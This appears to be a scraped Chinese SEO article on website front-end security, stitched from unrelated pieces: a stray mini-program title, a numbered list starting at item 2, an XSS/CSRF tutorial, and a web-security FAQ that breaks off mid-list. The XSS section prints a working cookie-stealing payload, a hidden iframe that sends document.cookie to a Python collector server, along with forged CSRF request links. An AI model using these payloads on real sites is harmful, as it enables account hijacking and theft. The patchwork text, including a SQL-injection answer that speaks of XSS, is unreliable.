微信小程序选项卡功能开发步骤与方法全解析
808
2023-02-07
网站前端安全策略（前端安全策略有哪些）
本篇文章给大家谈谈网站前端安全策略，以及前端安全策略有哪些对应的知识点，希望对各位有所帮助，不要忘了收藏本站喔。
今天给各位分享网站前端安全策略的知识，其中也会对前端安全策略有哪些进行解释，如果能碰巧解决你现在面临的问题，别忘了关注本站，现在开始吧！
2、网站使用CDN。就近接入，就是利用DNS服务找到离用户最近的机器，从而达到 最短路径提供服务，DNS服务理论上可以找到所有这个公司的机房和IP，从而还能 够进行流量的调度。
3、服务器的补丁一定及时打好，不定时更新很有必要。
4、网站后台的路径要隐藏好，很多网站都不注意这一点，很容易被攻击。
5、网站的账号密码要设置复杂点，平常注册的时候提示什么数字字母特殊符号的 。
6、服务器备份。而且要及时更新备份，不要等到失去是后悔莫及。
7、服务器的防火墙。不要乱传来路不明以及不好的内容到网站的目录。
8、常用的端口都要关闭。
9、一定要开启防火墙。
10、最后注意不要存在弱命令。
11、服务器端设置防火墙等，通常需要与空间服务商沟通，让其代为设置。建议找专业的安全公司来解决，国内也就Sinesafe和绿盟等安全公司 比较专业.我们需要做的就是让网站自身的安全性更高，防止黑客获取我们网站相关的权限.
XSS：脚本中的不速之客
XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 <script type="text/javascript"</script 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。
正如上文所说，如果我们不需要用户输入 HTML 而只想让他们输入纯文本，那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点，Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们，我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数，Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎，那么其必自带了方便快捷的转义方式。
真正麻烦的是，在一些场合我们要允许用户输入 HTML，又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙，但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况，我个人更倾向于使用简单的方法处理，简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构，但我们并不将这些数据直接存入数据库，而是使用 HTML 解析库遍历节点，获取其中数据（之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性）。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别（前面说了 HTML 不同于 XML，要求有很强的容错性），那么它不会成为漏网之鱼，因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树，我们可以拍胸脯保证——所有的标签、属性都来自白名单，一定不会遗漏。
现在看来，大多数 Web 开发者都了解 XSS 并知道如何防范，往往大型的 XSS 攻击（包括前段时间新浪微博的 XSS 注入）都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中，开启（或不要关闭）类似 Django Template、Jinja2 中“默认转义”（Auto Escape）的功能。在不需要转义的场合，我们可以用类似 的方式取消转义。这种白名单式的做法，有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域，是富 AJAX 类应用（例如豆瓣网的阿尔法城）。这类应用的风险并不集中在 HTTP 的静态响应内容，所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域，开发者不得不自己打开危险的大门。这种情况下，站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包（似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试），但我都没试用过，故不予评价。不管怎么说，我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
CSRF：冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，最好的方法是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。
严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。
例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问：
http://example.com/bbs/create_post.php?title=标题content=内容
那么，我只需要在论坛中发一帖，包含一链接：
http://example.com/bbs/create_post.php?title=我是脑残content=哈哈
只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 QQ 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。
比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。
首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求方法，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。
接下来我们就可以用比较简单也比较有效的方法来防御 CSRF，这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：
虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。
第一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、淘宝的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如 <img src="./create_post.php" / 就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个方法看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。
总体来说，目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“无耻”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌方法，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的方法，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。
1、什么叫Web应用系统?
答：Web应用系统就是利用各种动态Web技术开发的，基于B/S(浏览器/服务器)模式的事务处理系统。用户直接面对的是客户端浏览器，使用Web应用系统时，用户通过浏览器发出的请求，其之后的事务逻辑处理和数据的逻辑运算由服务器与数据库系统共同完成，对用户而言是完全透明的。运算后得到的结果再通过网络传输给浏览器，返回给用户。比如：ERP系统、CRM系统以及常见的网站系统(如电子政务网站、企业网站等)都是Web应用系统。
2、为什么Google把我的网站列为恶意网站
答：Google在对网站内容进行搜索时，同时也会检查是否含有恶意软件或代码(这些恶意软件或代码可能威胁该网站的访问者)。如果该网站存在这样的恶意软件或代码，就会在用户搜索到该网站时，加上一个标记：“该网站可能含有恶意软件，有可能会危害您的电脑”。这将会使网站信誉受损，并导致潜在的用户流失。
3、Web威胁为什么难以防范
答：针对Web的攻击已经成为全球安全领域最大的挑战，主要原因有如下两点：
1. 企业业务迅速更新，需要大量的Web应用快速上线。而由于资金、进度、意识等方面的影响，这些应用没有进行充分安全评估。
2. 针对Web的攻击会隐藏在大量正常的业务行为中，而且使用各种变形伪装手段，会导致传统的防火墙和基于特征的入侵防御系统无法发现和阻止这种攻击。
4、黑客为什么要篡改网站页面
答：当黑客获取网站的控制权限后，往往会更改网站页面，可能的动机有：
1. 宣称政治主张;
2. 炫耀技术，建立“声望”;
3. 宣泄情绪;
4. 经济利益，通过网站释放木马，从而获取经济利益。
5、黑客实施网站挂马的目的是什么
答：网站挂马的主要目的是控制访问该网站的用户的计算机，从而可以进一步获取用户的计算机隐私信息而获利，或者将这些用户的计算机作为“肉鸡”，对 其它 服务器或网络进行DDos攻击。
6、为什么我网站的数据库表内容被大量替换?
答：如果排除了管理员误操作的可能性，则可能是网站服务器被自动化攻击工具(如SQL注入工具等)攻击的结果。目前已经有自动化的工具对网站进行攻击，如果网站存在漏洞的话，攻击工具能够获得对网站数据库访问的权限。如果发现这种情况，应该仔细核查网站服务器和数据库服务器日志，找出更改记录。
7、在Web威胁防御中防火墙的优点和不足
答：防火墙可以过滤掉非业务端口的数据，防止非Web服务出现的漏洞，目前市场上可选择的防火墙品牌也较多。但对于目前大量出现在应用层面上的SQL注入和XSS漏洞，防火墙无法过滤，因而无法保护Web服务器所面临的应用层威胁。
8、常见发布系统之IIS
答：IIS 是Internet Information Server的缩写，是由微软开发的一种Web服务器(Web server)产品，用以支持HTTP、FTP和SMTP服务发布。 它主要运行在微软的 操作系统 之上，是最流行的Web服务器软件之一。
9、常见Web服务器之Apache
答：Apache是Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上。Apache源于NCSAhttpd服务器，经过多次修改，已成为世界上最流行的Web服务器软件之一。
10、Apache是不是比IIS要安全
答：早期的IIS在安全性方面存在着很大的问题，如果使用默认设置，黑客可以轻松趁虚而入。不过在IIS6中，微软公司对其安全方面进行了大幅改进。只要保证操作系统补丁更新及时，就可以将网站安全系数尽可能地提高。
Apache在安全方面一直做得比较好，更主要的原因是很多用户都是在linux系统下使用Apache。相对于微软的操作系统，Linux系统被发布的安全按漏洞更少一些。
从技术角度讲，两个Web服务器的安全性没有本质区别，一个完整的Web系统的安全性更取决于Web程序的安全性以及Web服务器配置的正确性。
11、什么叫应用防火墙
答：应用防火墙的概念在上个世纪九十年代就已经被提出，但在最近几年才真正走向成熟和应用。应用防火墙的概念与网络防火墙相对，网络防火墙关注网络层的访问控制，应用防火墙则关注应用层数据的过滤与控制。
12、什么叫网站防篡改系统
答：网站防篡改系统通过实时监控来保证Web系统的完整性，当监控到Web页面被异常修改后能够自动恢复页面。网站放篡改系统由于其设计理念的限制，对静态页面的防护能力比较好，对动态页面的防护则先天不足。
13、我的Web服务器被访问速度变慢，经常出现连接失败的现象，可能是什么原因造成的呢?
答：这可能有两个方面的情况，一种是网络方面的原因，如运营商的线路故障，或带宽消耗型的DDOS攻击;另外一种情况是服务器方面的原因，如感染病毒，或资源消耗型的拒绝服务攻击。
14、我的Web服务器部署了木马查杀软件，为什么还被挂了木马?
答：所谓的网页被挂马，很多情况下并不是有木马程序或代码被放到了Web服务器上，而是有一段跳转代码(本身不包含攻击信息)被放在了Web服务器上网页中。当远程用户访问带有跳转代码的页面时，将会执行这段代码，从另外一个地址-并执行木马。所以，即使在Web服务器上部署了木马查杀软件，也会由于木马本身并不存在于服务器上，而无法避免网站被挂马。
15、我的Web服务器前端部署了入侵防御产品设备，入侵防御产品设备中包含了几百条的SQL注入攻击防御特征库，为什么我的Web系统还是被SQL注入攻击成功了呢?
答：SQL注入是一种没有固定特征的攻击行为，对安全设备来说，就是属于变种极多的攻击行为。所以，基于数据特征的SQL注入检测 方法 是没有办法穷尽所有组合的，会存在大量的误报、漏报可能。如果采用的入侵防御产品设备采用的是基于数据特征的检测方法，即使包含了数百条SQL注入特征库，也会有漏报出现。
16、黑客为什么喜欢攻击网站?
答：Web业务已经成为当前互联网最为流行的业务，大量的在线应用业务都依托于Web服务进行。并且一些大型网站的日访问量可达百万之巨，不论是直接攻击网站(如网络银行，在线游戏服务器)还是通过网站挂马窃取访问者信息，都可以使黑客获得直接的经济利益。另外一方面，网站是机构的网络形象，通过攻击篡改网站页面，也可以得到最大范围的名声传播。对于那些企图出名的黑客，攻击网站是一项不错的选择。
17、如何判断自己的Web服务器是否已经成为肉鸡?
答：如果发现自己的Web服务器上开启了一些奇怪的进程，发现Web服务器总是有大量从内往外的连接，发现Web服务器不定时系统缓慢，诸如此类的现象，可使用木马清除软件进行检查和查杀。
细分攻击形式：
18、目前国内Web应用系统存在哪些最突出的安全问题?
答：Web应用程序的漏洞是很难避免的，系统的安全隐患主要在三方面：
首先是网络运维人员或安全管理人员对Web系统的安全状况不清楚。哪些页面存在漏洞，哪些页面已经被挂马，网站前端安全策略他们不能够清晰的掌握，从而及时采取改正 措施 ;
其次，在安全设备的部署方面，没有选用专业的、针对Web业务攻击的防御产品对网站进行保护，而是寄托于防火墙这种访问控制类的网关安全设备;
另外，从安全响应来看，Web安全事件发生后的应急与处理也存在欠缺。没有相应的页面恢复系统，也没有处理Web安全事件的专业安全服务团队。很多单位没有制定实时监控的网站安全管理制度。
19、什么叫SQL注入
答：SQL注入就是利用现有应用程序，将恶意的SQL命令注入到网站后台数据库引擎执行的能力。SQL注入利用的是正常的HTTP服务端口，表面上看来和正常的Web访问没有区别，隐蔽性极强，不易被发现。
20、SQL注入有哪些危害
答：SQL注入的主要危害包括：
未经授权状况下操作数据库中的数据;
恶意篡改网页内容;
私自添加系统帐号或者是数据库使用者帐号;
网页挂木马;
21、什么叫XSS
答：跨站脚本攻击(XSS)是攻击者将恶意脚本提交到网站的网页中，使得原本安全的网页存在恶意脚本;或者是直接添加有恶意脚本的网页并诱使用户打开，用户访问网页后，恶意脚本就会将用户与网站的会话COOKIE及其它会话信息全部截留发送给攻击者，攻击者就可以利用用户的COOKIE正常访问网站。攻击者有时还会将这些恶意脚本以话题的方式提交到论坛中，诱使网站管理员打开这个话题，从而获得管理员权限，控制整个网站。跨站脚本漏洞主要是由于没有对所有用户的输入进行有效的验证所造成的，它影响所有的Web应用程序框架。
22、XSS有哪些危害
答：XSS攻击的危害包括：
盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号;
控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力;
盗窃企业重要的具有商业价值的资料;
非法转账;
强制发送电子邮件;
网站挂马;
控制受害者机器向其它网站发起攻击。
23、什么叫Shellcode
答：Shellcode实际是一段代码(也可以是填充数据)，可以用来发送到服务器，利用已存在的特定漏洞造成溢出，通称“缓冲区溢出攻击”中植入进程的代码。这段代码可以是导致常见的恶作剧目的的弹出一个消息框弹出，也可以用来删改重要文件、窃取数据、上传木马病毒并运行，甚至是出于破坏目的的格式化硬盘等等。
24、什么叫网站漏洞
答：随着B/S模式被广泛的应用，用这种模式编写Web应用程序的程序员也越来越多。但由于开发人员的水平和 经验 参差不齐，相当一部分的开发人员在编写代码的时候，没有对用户的输入数据或者是页面中所携带的信息(如Cookie)进行必要的合法性判断，导致了攻击者可以利用这个编程漏洞来入侵数据库或者攻击Web应用程序的使用者，由此获得一些重要的数据和利益。
25、什么叫木马
答：木马(Trojan)这个名字来源于古希腊 传说 ，在互联网时代它通常是指通过一段特定的程序(木马程序)来控制另一台计算机。木马通常有两个可执行程序：一个是客户端，即控制端，另一个是服务端，即被控制端。木马的设计者为了防止木马被发现，而采用多种手段隐藏木马。木马的服务一旦运行并被控制端连接，其控制端将享有服务端的大部分操作权限，例如给计算机增加口令，浏览、移动、复制、删除文件，修改注册表，更改计算机配置等。
26、什么叫网站挂马
答：“挂马” 就是黑客入侵了一些网站后，将自己编写的网页木马嵌入被黑网站的主页中。当访问者浏览被挂马页面时，自己的计算机将会被植入木马，黑客便可通过远程控制他们的计算机来实现不可告人的目的。网页木马就是将木马和网页结合在一起，打开网页的同时也会运行木马。最初的网页木马原理是利用IE浏览器的ActiveX控件，运行网页木马后会弹出一个控件-提示，只有点击确认后才会运行其中的木马。这种网页木马在当时网络安全意识普遍不高的情况下还是有一点威胁的，但是其缺点显而易见，就是会出现ActiveX控件-提示。现在很少会有人去点击那莫名其妙的ActiveX控件-确认窗口了。在这种情况下，新的网页木马诞生了。这类网页木马通常利用IE浏览器的漏洞，在运行的时候没有丝毫提示，因此隐蔽性极高。
27、什么叫DOS./DDOS攻击?
答：DoS即Denial Of Service，拒绝服务的缩写。DoS是指利用网络协议实现的缺陷来耗尽被攻击对象的资源，目的是让目标计算机或网络无法提供正常的服务或资源访问，使目标系统服务系统停止响应甚至崩溃。在此攻击中并不包括侵入目标服务器或目标网络设备。这些被大量消耗的服务资源包括网络带宽、文件系统空间容量、开放的进程或者允许的连接。这种攻击会导致资源的匮乏，无论计算机的处理速度多快、内存容量多大、网络带宽有多高，都无法避免这种攻击带来的后果。
DDoS(Distributed Denial Of Service)又把DoS又向前发展了一大步，这种分布式拒绝服务攻击是黑客利用在已经被侵入并已被控制的、不同的高带宽主机(可能是数百，甚至成千上万台)上安装大量的DoS服务程序，它们等待来自中央攻击控制中心的命令。中央攻击控制中心再适时启动全体受控主机的DoS服务进程，让它们对一个特定目标发送尽可能多的网络访问请求，形成一股DoS洪流冲击目标系统，猛烈地DoS攻击同一个网站。被攻击的目标网站会很快失去反应而不能及时处理正常的访问甚至系统瘫痪崩溃。
28、什么叫网络钓鱼
答：网络钓鱼(Phishing，又名钓鱼法或钓鱼式攻击)是通过传播“声称来自于银行或其他知名机构”的欺骗信息，意图引诱受害者泄漏出敏感信息(如用户名、口令、帐号 ID 、 ATM PIN 码或信用卡详细信息)的一种攻击方式。最典型的网络钓鱼攻击将受害者引诱到一个与其目标网站非常相似的钓鱼网站上，并获取受害者在此网站上输入的个人敏感信息。通常这个攻击过程不会让受害者警觉。它是“社会工程攻击”的一种形式。
29、什么叫网络蠕虫
答：一般认为：蠕虫病毒是一种通过网络传播的恶性病毒，它除具有病毒的一些共性外，同时具有自己的一些特征。如：不利用文件寄生(有的只存在于内存中)、对网络造成拒绝服务，以及与黑客技术相结合，等等。蠕虫病毒主要的破坏方式是大量的复制自身，然后在网络中传播，严重占用有限的网络资源，最终引起整个网络的瘫痪，使用户不能通过网络进行正常的工作。每一次蠕虫病毒的爆发都会给全球经济造成巨大损失，因此它的危害性是十分巨大的。有一些蠕虫病毒还具有更改用户文件、将用户文件自动当附件转发的功能，更是严重的地危害到用户的 系统安全 。
30、什么叫僵尸网络
答：僵尸网络(英文名称叫BotNet)，是互联网上受到黑客集中控制的一群计算机，往往被黑客用来发起大规模的网络攻击。如：分布式拒绝服务攻击(DDoS)、海量垃圾邮件等。同时，黑客控制的这些计算机所保存的信息也都可以被黑客随意“取用”。因此，不论是对网络安全运行还是用户数据安全的保护，僵尸网络都是极具威胁的隐患。然而，发现一个僵尸网络是非常困难的，因为黑客通常远程、隐蔽地控制分散在网络上的“僵尸主机”，这些主机的用户往往并不知情。因此，僵尸网络是目前互联网上最受黑客青睐的作案工具。
31、什么是ARP攻击
答：ARP是地址解析协议，是一种将IP地址转化为MAC地址的协议。在网络中，当A主机需要向B主机发送报文时，会先查询本地的ARP缓存表，找到与B主机IP地址对应的MAC地址后，进行数据传输。如果未找到，则会发送一个广播ARP请求报文，请求对应B主机IP的B回应MAC地址。这个广播包会被整个广播域中所有主机收到，但只有B主机会发现IP地址对应自己，才会将MAC地址回应给A。此时A收到这个回应并更新自己的ARP缓存，进行下一步的数据传输。ARP攻击应当叫做ARP欺骗，就是冒充网关地址对网络中主机给出ARP查询回应，使得本来是A-网关的数据走向，变成A-攻击者-网关。
32、ARP攻击的危害有哪些?
答：ARP攻击的危害主要有两个方面。从ARP攻击的原理来看，这种攻击使得受害主机的所有网络数据都将通过攻击者进行转发。这样一来，要窃取信息或控制流量就变得轻而易举。另一方面，由于ARP缓存会不断刷新，有的时候，真正的网关会偶尔“清醒”。当真正的网关参与到数据包转发中来时，由于做了一个切换动作，可能会有频繁的短暂掉线现象。所以，如果Web服务器所在网络中发生了ARP攻击，将导致Web服务器不可访问。
细分攻击介质：
33、WEB应用系统(网站)会面临来自哪些方面的安全问题
答：网站面临的安全问题是方方面面的，主要可概括为以下四个方面：
1)操作系统、后台数据库的安全问题
这里指操作系统和后台数据库的漏洞，配置不当，如弱口令等等，导致黑客、病毒可以利用这些缺陷对网站进行攻击。
2)Web发布系统的漏洞
Web业务常用的发布系统(即Web服务器)，如IIS、Apache等，这些系统存在的安全漏洞，会给入侵者可乘之机。
3)Web应用程序的漏洞
主要指Web应用程序的编写人员，在编程的过程中没有考虑到安全的因素，使得黑客能够利用这些漏洞发起对网站的攻击，比如SQL注入、跨站脚本攻击等等。
4)自身网络的安全状况
网站服务器所处的网络安全状况也影响着网站的安全，比如网络中存在的DoS攻击等，也会影响到网站的正常运营。
34、Web程序漏洞是怎么形成的
答：Web站点之所以存在如此众多的安全漏洞，是由下列所示的这些原因造成的：
1、 大部分的中小型网站都是使用某个建站模块建设的，而这些通用的建站模块不仅本身存在各种安全漏洞，同时一些使用它们的建站人员根本没有在建站完成后对站点进行安全加固。
2、 Web站点开发人员对安全不够重视，在编写网页时，没有对用户的输入进行验证，没有对数据的大小、类型和字符串进行规范，没有限制API函数对系统资源的使用，以及对Web服务器没有进行相应的资源限制，引起拒绝服务攻击。
3、 管理员对Web服务器主机系统及Web应用程序本身配置不当，一些中小企业自己管理的Web站点根本没有足够的技术人员来管理它们的安全。
4、 当Web站点是托管在某个电信机房时，对它们进行的远程管理存在安全风险。
5、 Web站点管理员本身技术水平的限制，对各种针对Web站点的安全攻击不了解，也没有端正工作态度，没能对站点进行认真的安全加固，以及进行日常的安全检查。
6、 Web站点所处网络大环境的安全设计不合理，以及没有将安全防范工作融入到站点整个生命周期的各个阶段。
7、 企业领导不够重视，在Web站点的安全防范方面投入的资金太少或不合理，没有制定一个有效的Web站点安全防范策略，明确Web站点日常管理流程，也没有对Web站点的管理人员和工作人员进行不断的安全培训。
35、黑客主要利用哪些方法对网站进行数据窃取和修改
答：黑客需要使用拥有一定权限的用户帐户才能对网站进行数据窃取和修改，所以可能造成用户权限泄漏或提升的漏洞，都可以被黑客利用来进行攻击，如SQL注入，溢出漏洞、暴力猜解等。
36、目前对Web服务器威胁较大的SQL注入工具有哪些?
答：网上常见的SQL注入工具有“啊D SQL注入工具”、pangolin、NBSI、HDSI、“管中窥豹注入工具”等。
37、目前对Web服务器威胁较大的XSS攻击工具有哪些?
答：网上常见的XSS攻击工具有sessionIE、Webscan、XSS Inject Scanner 等。
38、怎样应对Web业务安全事件
答：应对Web业务安全事件，从根本上的解决办法就是对Web应用程序源代码进行代码检查和漏洞修复，但是这会影响正常Web业务运行，而且费用较高。比较有效的解决方案是通过专业的Web业务安全检查工具或服务来检查网站安全状况，部署专业的Web安全产品。比如基于行为检测的入侵防御产品。同时在管理上，要求网管人员实时对网站进行监测，一旦发现网页被篡改等问题立刻进行页面恢复、删除恶意脚本等工作。
39、如何防御SQL注入
答：要想从根本上解决XSS攻击，就要对Web应用程序源代码进行检查，发现安全漏洞进行修改。但是这种方法在实际中给用户带来了不便，如：需要花费大量的人力财力、可能无法找到当时的网站开发人员、需要网站下线等。对代码进行修改后，由于增加了过滤条件和功能，同时也给服务器带来了计算压力。通常的解决方法是在数据库服务器前端部署入侵防御产品。SQL注入攻击具有变种多、隐蔽性强等特点，传统的特征匹配检测方式不能有效地进行防御，需要采用“基于攻击手法的行为监测”的入侵防御产品才能够精确地检测到SQL注入攻击。
40、如何防御XSS
答：要想从根本上解决XSS攻击，就要对Web应用程序源代码进行检查，发现安全漏洞进行修改。但是这种方法在实际中给用户带来了不便，如：需要花费大量的人力财力;可能无法找到当时的网站开发人员、需要网站下线等。对代码进行修改后，由于增加了过滤条件和功能，同时也给服务器带来了计算压力。通常的解决方法是在数据库服务器前端部署入侵防御产品。XSS攻击具有变种多、隐蔽性强等特点，传统的特征匹配检测方式不能有效地进行防御，需要采用基于攻击手法的行为监测的入侵防御产品产品才能够精确地检测到XSS攻击。
41、如何发现网站挂马
